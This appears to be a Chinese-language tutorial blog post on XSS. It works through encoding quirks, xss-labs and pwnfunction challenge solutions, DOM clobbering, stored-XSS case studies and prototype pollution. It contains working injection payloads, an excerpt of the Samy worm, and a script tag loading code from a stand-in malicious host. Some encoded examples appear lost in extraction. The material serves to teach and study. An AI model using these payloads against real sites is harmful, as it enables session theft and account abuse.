XSS相关理解
由于本人对一小部分dom型xss、原型链污染和存储型xss理解不够透彻,因此在本篇文章中原型链污染和存储型xss偏重进行概念理解或简单的代码理解,随后会慢慢补充
文章目录
- 1 XSS概述
- 1.1 什么是XSS?
- 1.2 XSS主要分三种类型
- 2 XSS基础
- 2.1 XSS基础练习
- 2.1.1 编码问题
- 2.1.2 原因
- 2.2 JS基础练习
- 2.2.1 JS相关问题
- 2.2.2 原因
- 3 反射型XSS(Reflected XSS)
- 3.1 理解反射型XSS
- 3.1.1 反射型XSS具有以下特点
- 3.1.2 图解
- 3.2 实战演练
- level 1
- level 3
- level 5
- level 8
- 3.3 总结
- 4 DOM型XSS(Document Object Model Cross-Site Scripting)
- 5 存储型XSS(Persistent XSS)
- 5.1 什么是存储型XSS
- 5.1.2 存储型XSS的特点
- 5.1.3 图解
- 5.2 案例展示
- 5.2.1 案例一
- 5.2.2 案例二
- 5.3 总结
- 6 原型链污染(Prototype Pollution)
- 6.1 什么是原型链污染?
- 6.1.1 核心原理
- 6.2 理解`prototype`、`__proto__`和`constructor`
- 6.2.1 `prototype` 属性
- 6.2.2 `__proto__ `属性
- 6.2.3 `constructor` 属性
- 6.2.2 总结
- 6.3 简单代码理解
- 7 XSS相关总结
1 XSS概述
1.1 什么是XSS?
XSS(跨站脚本攻击,Cross-Site Scripting) 是一种常见的网络安全漏洞,攻击者通过向网页中注入恶意脚本,当其他用户访问该页面时,脚本会在其浏览器中执行,从而实施攻击。
我用3句话理解XSS
- 目标:攻击者试图在可信的网站上注入恶意代码(通常是 JavaScript)。
- 手段:利用网站对用户输入的不当处理(未过滤/转义)。
- 触发:当其他用户浏览被感染的页面时,恶意脚本自动执行。
1.2 XSS主要分三种类型
- 反射型XSS:页面能解析js代码的功能被称为XSS的反射型漏洞。没有对用户的输入做出特定的过滤,导致用户输入的恶意js代码输出到页面上被页面解析
- DOM型XSS:恶意脚本由浏览器前端 JS 对污染源的不安全处理并执行,全程不经过服务器,恶意代码直接在受害者浏览器中触发,攻击链条完全在浏览器内闭环,传统服务端防御手段失效。
- 存储型XSS:攻击者将恶意脚本提交到服务器数据库中(如评论区、用户资料),当用户访问被感染的页面时自动执行,窃取Cookie/会话等数据,脚本永久存储在服务器数据库,无需用户交互,只要访问立马执行。
这三个XSS类型各有特点,在这篇文章我将以我的理解对这三种xss进行理解或展示。
此外原型链污染 虽然不属于 XSS,它是独立的 JS 原型篡改漏洞,但可导致 XSS,当污染对象涉及 DOM 操作属性时,会引发 XSS。
2 XSS基础
在XSS中我们首先需要知道页面的解析先后顺序:
html实体编码---->urlencode编码---->js unicode编码
2.1 XSS基础练习
2.1.1 编码问题
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>
<a href="javascript:%61%6c%65%72%74%28%32%29">aaaaaa</a>
<a href="javascript%3aalert(3)">aaaaa</a>
<div><img src=x onerror=alert(4)></div>
<textarea><script>alert(5)</script></textarea>
<textarea><script>alert(6)</script></textarea>
2.1.2 原因
第一个
浏览器 尝试解码这些URL编码,但解码发生在错误的时间点(在协议识别之后)结果浏览器无法识别javascript:协议,因此放弃执行解码。技术上浏览器解码了,但解码结果未被使用(因为协议未识别)。
第二个
浏览器直接解码HTML实体编码,在浏览器识别协议之前已经成功解码,并且浏览器在解码之后成功识别javascript
协议,因此可以正确点击链接执行弹窗。
第三个
原因与第一个相似,javascript:
是一个整体,该链接将:
进行编码因此浏览器无法在解析之前识别协议,不能正常点击链接跳出弹窗。
第四个
浏览器可以正常解析<
和>
为<
与>
,但HTML解析标签以tag open state(<
)开始tag name state(>
)结束,因此浏览器虽然将编码解析成功,但不会转为tag open state(标签开始状态)只会将<div>
标签里的内容以data(数据)形式显示出来因此无法建立img标签也无法正常显示弹窗。
第五个
正确解码,为RCDATA元素,可以容纳文本和字符引用。一旦有字符引用可能无法进入标签开始状态
第六个
无需解码,为RCDATA元素,可以容纳文本和字符引用。一旦有字符引用可能无法进入标签开始状态
\ | 第一个 | 第二个 | 第三个 | 第四个 | 第五个 | 第六个 |
---|---|---|---|---|---|---|
是否尝试解码 | ✅ 是 | ✅ 是 | ✅ 是 | ✅ 是 | ✅ 是 | ❌无需解码 |
解码时机 | 太晚(协议识别后) | 正确(分阶段) | 太晚(协议识别后) | 正确(分阶段) | 正常解码 | ---- |
解码结果是否有效 | ❌ 否 | ✅ 是 | ❌ 否 | ✅ 是 | ✅ 是 | ---- |
根本原因 | 协议部分被编码导致浏览器放弃 | 协议部分通过HTML实体先解码 | 协议部分被编码导致浏览器放弃 | 内容以div标签里的数据形式解析出来,但不能识别为一个img标签 | 虽然解析成功但无法进入标签状态 | ---- |
2.2 JS基础练习
2.2.1 JS相关问题
<button onclick="confirm('7');">Button</button>
<button onclick="confirm('8\u0027);">Button</button>
<script>alert(9);</script>
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
<script>alert('14
')</script>
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
2.2.2 原因
第一、二个:js严格区分大小写,不能对符号编码,因此前两个button无法触发
第三个:将alert(9);
转为html编码但<script>
为原始文本元素,只能容纳文本,无法容纳字符,因此无法辨别内容为alert(9);
的html编码因此无法解析。
第四个:正确弹窗
第五个:同第一、二个原因
第六个:js语法问题,js的解析器默认将12理解为字符串,字符串需要单引号包裹起来,没有单引号不能识别出12
第七个:换行符不影响解析,正常弹窗
第八个:使用了所有的解码:首先解析html实体解码,urlencode解码发现javascript
已出现,并将其识别,进入js环境下,js支持unicode解码,因此可以正常解析,正常弹窗。
3 反射型XSS(Reflected XSS)
又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接( 即每次攻击需要用户的点击)。
3.1 理解反射型XSS
没有对用户的输入做出特定的过滤,导致用户输入的恶意js代码输出到页面上被页面解析
3.1.1 反射型XSS具有以下特点
- 脚本不存储在服务器,仅通过 URL 参数传递。
- 需要诱导用户主动点击恶意链接(如钓鱼邮件)。
- 常见于搜索框、错误提示页等动态返回内容的功能。
3.1.2 图解
使用符合js的规范都可以执行使用js标签包裹或者使用html标签:
例如:
<script>alert(1)</script>
--------------------------------------------------------
<img src=1 onerror=alert(1)>
--------------------------------------------------------
<a href="javascript:alert(1)">aaaa</a> //使用javascript伪协议。需要用户参与
--------------------------------------------------------
<svg/onload=alert(1)>等等
--------------------------------------------------------
巧用“//“注解,使用注解可以将后续的代码注释掉
有些过滤器会相应的过滤掉某些标签元素,因此我们还需要掌握三中html能识别的编码,灵活使用编码代替原标签进行反射xss(以下为相关概念,了解一下):
- urlcode编码:URL编码(URLEncoder)和解码(URLDecoder)是处理URL中包含的特殊字符和中文的常用方法。URL编码的目的是将字符串转换成有效的URL格式,而URL解码则是将这些特殊的URL格式还原回原始字符串。
- html实体编码:一段以连字号(&)开头、以分号(;)结尾的字符串,用以显示不可见字符及保留字符
- js unicode编码:将全世界所有的字符包含在一个集合里,计算机只要支持这一个字符集,就能显示所有的字符
使用常用的转码工具将所需转码的内容转为对应编码的内容即可:
https://www.toolhelper.cn/
https://tool.oschina.net/encode
3.2 实战演练
选择部分代码进行反射型XSS的实战演练
level 1
源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
解题:
在此题中发现注入内容会注入到h2标签内如需要弹窗只要让其触发alert即可
在网址后输入:即可
level 3
源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
解题:
在源码中发现
htmlspecialchars
过滤函数会过滤双引号但是该函数在源码中并未设置ENT_QUOTES
因此并不会过滤单引号。
该源码中单引号包含了双引号,需要将单引号闭合
在input
输入框输入a' onclick='alert(1)
完成题解
level 5
源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
解题:
在源码中,发现题目进行了简单替换:将<script
替换为<scr_ipt
,on
替换为o_n
因此所有的on事件被过滤,<script>
标签被过滤
但发现<>并没有被过滤,因此我们需要将源码进行闭合即可
在input
输入框内输入a"><a href="javascript:alert(1)">aaaaaaaaaaaa</a>"
即可题解
点击链接完成挑战
level 8
源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
解题:
使用编码转换输入即可
javascript:alert(1)
点击友情链接,成功题解
3.3 总结
1.反射型xss的存在位置可能在搜索栏、input表单
2.可能会存在过滤,可以通过编码,大写等方式尝试绕过
3.javascript伪协议也可以触发xss
4 DOM型XSS(Document Object Model Cross-Site Scripting)
控制js产生的xss称为dom型xss
4.1 理解DOM型XSS
一句话总结:DOM 型 XSS = 前端 JavaScript 代码 + 不安全的 DOM 操作 + 客户端污染源(URL/Storage)
4.1.1 DOM型XSS的特点
- 全程在浏览器端发生:
- 恶意代码的注入、解析、执行均在用户浏览器中完成,不经过服务器处理。
- 绕过服务器防护:
- 攻击载荷常隐藏在 URL 片段(#后)、window.name 或 前端存储(LocalStorage) 中,不会被发送到服务器。
- ❌ 传统 WAF(Web 应用防火墙)无法检测此类攻击。
- 触发依赖危险 DOM API
- 漏洞源于开发者使用不安全的 DOM 操作方法:
- 非持久性(通常)
- 攻击需诱导用户访问特定恶意链接,脚本不会存储在服务器或客户端数据库中。
- 🔁 但可通过社工手段(如钓鱼邮件)大规模传播。
- 隐蔽性高
- 由于不经过服务器,浏览器开发者工具是主要检测手段(Network 面板无异常请求)。
4.1.2 图解
4.2 DOM基础
4.2.1 实战演练
dom相关的部分基础xss练习
level 1
源码:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h2 id="spaghet"></h2>
</body>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
</html>
解题:
要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.
分析:
js安全策略:在H5中指定不执行使用element.innerHTML插入的<script>
标签,因此不能使用<script>
标签
源码分析可得url地址栏里获取了get传参,而传参的key是somebody,如果没有给somebody传参则默认使用Somebody代替并通过innerHTML写入id为spaghet的<h2>
标签中。除了<script>
标签以外能触发弹窗的任何标签都可以
给somebody传参输入<img src=1 onerror=alert(1337)>
完成题解
level 2
源码:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body><h2 id="maname"></h2>
</body>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`)setTimeout(_ => {maname.innerText = ma}, 1000)
</script>
</html>
解题:
要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.
分析:
eval为执行函数,可以直接执行内容。
由于该参数有双引号,因此我们需要闭合双引号。
可以使用//注释将后面的双引号进行闭合
给jeff
传参wowo";alert(1337)//
即可完成题解
level 3
源码:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body><div id="uganda"></div>
</body>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
</html>
解题:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.
分析:
源码过滤了<>
由于用户不能参与交互因此我们不能直接设置点击事件
由于<input>
有核心属性onfocus
与autofocus
自动聚焦,可以实现题目中禁止用户交互的要求
因此wo" autofocus onfocus="alert(1337)"
即可完成题解
level 4
源码:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body>
<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
</body>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>
</html>
解题:
要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.
分析:
form
表单中的action
属性将form
表单中的数据传输到action
属性指定的地址,如将数据传输到1.php
只需要在action
属性中填入即可,源码中action
属性未传值的时候提交到#
(表示传到当前页面)。
setTimeout
将在2秒延迟后自动提交
将ricardo
传入javascript:alert(1337)
伪协议即可完成题解
4.2.2 演练核心标签总结
innerHTML:禁止触发`<script>`标签
input标签有特殊属性onfocus(聚焦)与autofocus(自动聚焦)结合使用
form表单属性:action,method,enctype
- action- 指定后端action目标地址接收并处理表单数据(action可以出发javascript伪协议)
- method- post:将数据封装在HTTP请求体中发送,对数据内容加密处理,适合提交敏感信息或大量数据(如文件上传)。- get:将表单数据附加到action指定的URL后,适合非敏感且数据量较小的查询操作(如搜索、筛选)。
- enctype- 提交账号密码等文字需要发送的数据编码为 "名称/键值" 的形式使用默认属性application/x-www-form-urlencoded- 上传文件、mp3、图片等使用multipart/form-data- 提交纯文本使用text/plain
4.3 DOM破坏(DOM Clobbering)
DOM 破坏是一种利用 HTML 元素覆盖 JavaScript 全局变量或对象属性的攻击技术,目的是篡改页面逻辑或绕过安全机制。
通过注入特定 HTML 标签(如 <form>
、<img>
、<a>
),覆盖页面中的 JavaScript 变量或 DOM 对象属性,从而破坏前端逻辑或绕过安全检测。
4.3.1 核心机制
HTML 元素的命名覆盖
- 当 HTML 标签设置了 id 或 name 属性时,浏览器会自动将其暴露为全局变量(或嵌套在 document 对象下)。
- 攻击者注入恶意标签,覆盖已有变量或属性。
4.3.2 特点
- 隐蔽性强:不触发脚本执行,仅改变对象状态。
- 误判为“无害”:传统安全扫描工具难以检测逻辑覆盖。
- 现代框架的盲区:React/Vue 等框架虽减少直接 DOM 操作,但若与原生 JS 混用仍可能中招。
核心记忆点:任何未受保护的 HTML 的 id/name 属性都可能成为攻击入口!
4.3.3 实战演练
dom破坏的相关练习
4.3.3.1 相关知识
<body><img id="x"><img name="y">
</body>
<script>console.log(x)console.log(y)console.log(document.x)console.log(document.y)console.log(window.x)console.log(window.y)
</script>
前端特性:结果可知只有
document.x
不适配id其他都适配
<body><img id="x"><img name="y">
</body>
<script>let div = document.createElement('div')//创建div标签div.innerHTML = '<img name="cookie">'//标签内容为<img name="cookie">document.body.appendChild(div)//div标签添加到body中console.log(document.cookie)//请求document.cookie
</script>
运行发现:
发现设创建的<div>
标签中的内容img
把获取系统页面的cookie
系统函数覆盖掉了
!!这样的操作危害是非常大的,用户的权限太大以至于可以随意更改系统函数!!
<body><form name="body"><img id="appendChild"></form>
</body>
<script>console.log(body.appendChild)
</script>
发现本次二次覆盖取出的并不是系统自带的函数,而是img
标签
document覆盖最多覆盖三层
document.x
document.x.y
document.x.y.z
在控制台输入Object.prototype.toString.call(document.body.appendChild)
我们拿到的是[object HTMLImageElement]
html下的img元素是一个object
对象,但是不好操作,所以需要toString
转为可控的字符串类型
Object.getOwnPropertyNames(window)//获取window所有属性的名称
.filter(p => p.match(/Element$/))//过滤含有Element为结尾元素的标签
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)//过滤本身有的原型链的方法而不是祖先自带的方法
取出为下图显示:
4.3.3.2练习
源码:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body>
<h2 id="boomer">Ok, Boomer.</h2>
</body>
<script>boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
</script>
</html>
解题:
要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.
分析:
引入过滤框架DOMPurify
boomer没有传参默认执行显示Ok,Boomer.
setTimeout
两秒之后执行一次
setTimeout
中的ok
是否是一个函数,如果是,就会自动调用ok
的toString
方法
需要分析这几个问题:
- 1.ok从何而来?
dom破坏中来,定义一个id
为ok
的a
标签<a id=ok href='aaaaa'>
dom 11 12- 2.恶意payload触发ok里的恶意代码
a
标签里的href
属性为javascript:alert(1337)
- 3."绕过"框架(白名单)
白名单有:
- 4.ok引入
输入boomer=<a id=ok href="sms:alert(1337)">
完成题解
源码:
<script>const data = decodeURIComponent(location.hash.substr(1));;const root = document.createElement('div');root.innerHTML = data;// 这里模拟了XSS过滤的过程,方法是移除所有属性,sanitizerfor (let el of root.querySelectorAll('*')) {let attrs = [];for (let attr of el.attributes) {attrs.push(attr.name);}for (let name of attrs) {el.removeAttribute(name);}} document.body.appendChild(root);
</script>
解题:
解析:
1.在触发程序之前进行触发
2.生成一个无关的节点,而避免我们的payload被删除+
1.输入<svg><svg/onload=alert(1)>
触发弹窗,完成题解
2.使用所有标签遍历
<script>var log = [];var html =["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo","bgsound", "big", "blink", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col","colgroup", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt","element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "head","header", "hgroup", "hr", "html", "i", "iframe", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label","legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol","nav", "nextid", "nobr", "noembed", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param","picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", "section", "select","shadow", "slot", "small", "source", "spacer", "span", "strike", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var","video", "wbr", "xmp"],logs = [];div = document.createElement('div'); for (var i = 0; i < html.length; i++) {for (var j = 0; j < html.length; j++) {div.innerHTML = '<' + html[i] + ' id=element1>' + '<' + html[j] + ' id=element2>'; document.body.appendChild(div);if (window.element1 && element1.element2) {log.push(html[i] + ',' + html[j]);}document.body.removeChild(div);}}console.log(log.join('\n'));
</script>
得到可以进行两个id嵌套的组合:
form,button
form,fieldset
form,image
form,img
form,input
form,object
form,output
form,select
form,textarea
例如使用form与output进行组合:
<body><form id="x"><output id="y">I've been clobbered</output>
</form>
</body>
<script>
console.log(x.y)//在y后面添加value会把<output>标签里的I've been clobbered显示出来
</script>
控制台显示:
5 存储型XSS(Persistent XSS)
最危险的跨站脚本攻击类型。
5.1 什么是存储型XSS
存储型XSS(跨站脚本攻击)是一种恶意脚本被永久存储在目标服务器上的攻击类型,当用户访问受感染页面时自动执行。
5.1.2 存储型XSS的特点
- 持久性:恶意脚本存储在服务器上(数据库、文件系统等)
- 自动传播:用户只需访问页面就会触发攻击
- 影响范围广:所有访问该页面的用户都会受到影响
- 危害严重:可窃取用户凭据、会话信息,传播恶意软件等
5.1.3 图解
5.2 案例展示
5.2.1 案例一
MySpace Samy蠕虫(2005)
- 攻击方式:用户资料中注入恶意脚本
- 传播速度:20小时内感染100万用户
onload="var B=String.fromCharCode(34);
var A=String.fromCharCode(39);
function g(){var C;
try{var D=document.body.createTextRange();C=D.htmlText}
catch(e){}if(C){return C}else{return''}}
function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}
function getQueryParams(){var E=document.location.search;
var F=E.substring(1,E.length).split('&');
var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');
AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();
var L=AS['Mytoken'];var M=AS['friendID'];
if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}
else{if(!M){M=g()}if(M){
// 核心攻击代码
影响:强制添加攻击者为好友,成为首个大规模XSS蠕虫
5.2.2 案例二
eBay存储型XSS(2015)
- 攻击方式:商品描述中注入恶意脚本
- 攻击载荷:
<script src="http://malicious-site.com/xss.js"></script>
- 影响:窃取买家支付信息,持续数月未被发现
- 根本原因:未对商品描述进行输出编码
5.3 总结
持续时间长,恶意脚本长期存储在服务器(数据库/文件系统)只要被感染页面被访问,攻击就会触发。自动传播,用户无需任何交互(如点击链接)。访问即中招。影响范围广,所有访问该页面的用户都会受影响,可造成大规模数据泄露。隐蔽性强,可能潜伏数月才被发现,难以追溯攻击源头
6 原型链污染(Prototype Pollution)
6.1 什么是原型链污染?
是一种针对 JavaScript 运行时的攻击技术,攻击者通过篡改对象的原型(prototype
)注入恶意属性,导致所有继承该原型的对象被污染,从而引发安全漏洞。
6.1.1 核心原理
- JavaScript 的原型链机制
每个 JavaScript 对象都有隐藏属性__proto__
(或通过Object.getPrototypeOf()
访问),指向其原型对象。
当访问对象属性时,若对象自身不存在该属性,JS 会沿原型链向上查找。 - 污染入口点
攻击者利用未安全处理的对象合并/复制操作注入__proto__
属性。
关键结论
原型链污染属于 JavaScript
运行时污染,可导致拒绝服务、权限绕过、数据泄露等,不限于 XSS。可成为 XSS 的“催化剂”。若污染了 innerHTML
、outerHTML
、document.write
等 DOM 操作属性,则间接引发存储型/DOM 型 XSS。
6.2 理解prototype
、__proto__
和constructor
6.2.1 prototype
属性
- 只有函数才拥有
prototype
属性 - 它是函数的原型对象,包含该类型所有实例共享的属性和方法
- 当使用
new
关键字创建实例时,新对象会继承其构造函数的prototype
6.2.2 __proto__
属性
- 每个对象(包括函数对象)都有
__proto__
属性 - 它指向创建该对象的构造函数的
prototype
- 这是原型链查找的实际路径(现代代码中建议使用
Object.getPrototypeOf())
6.2.3 constructor
属性
- 每个
prototype
对象都有一个constructor
属性 - 它指向该原型对象所属的构造函数
- 关系:
Person.prototype.constructor
===Person
6.2.2 总结
原型链关系总结
- 实例对象(如 alice):
-
通过
__proto__
指向其构造函数的prototype
-
即:
alice.__proto__
===Person.prototype
- 构造函数(如
Person
):
-
拥有
prototype
属性,指向原型对象 -
自身也有
__proto__
,指向Function.prototype
- 原型对象(如
Person.prototype
):
-
包含
constructor
属性指回构造函数 -
通过
__proto__
指向Object.prototype
- 原型链终点:
-
Object.prototype.__proto__
===null
-
所有原型链最终都指向
null
我感觉我理解的不是很透彻可以看这篇文章更加深入理解:
帮你彻底搞懂JS中的prototype、__proto__与constructor(图解)
6.3 简单代码理解
源码
//foo是一个简单的JavaScript对象
let foo = {bar: 1}//foo.bar此时为1
console.log(foo.bar)
//foo对象 __proto__ = Object.prototype.bar = 2
//修改foo.bar的原型(即object)为2
foo.__proto__.bar = 2//由于查找顺序的原因,foo.bar仍然为1
console.log(foo.bar)//此时再用Object创建一个空的zoo对象 zoo bar
let zoo = {}//查看zoo.bar,此时为2
console.log(zoo.bar)
运行显示
7 XSS相关总结
特性 | 反射型XSS | DOM型XSS | 存储型XSS | 原型链污染 |
---|---|---|---|---|
存储位置 | URL参数 | URL片段/客户端存储 | 服务器数据库 | JavaScript原型 |
持久性 | 非持久 | 通常非持久 | 持久 | 运行时持久 |
触发方式 | 点击恶意链接 | 访问特定URL | 访问受感染页面 | 执行污染代码 |
影响范围 | 点击者 | 当前用户 | 所有访问者 | 整个应用 |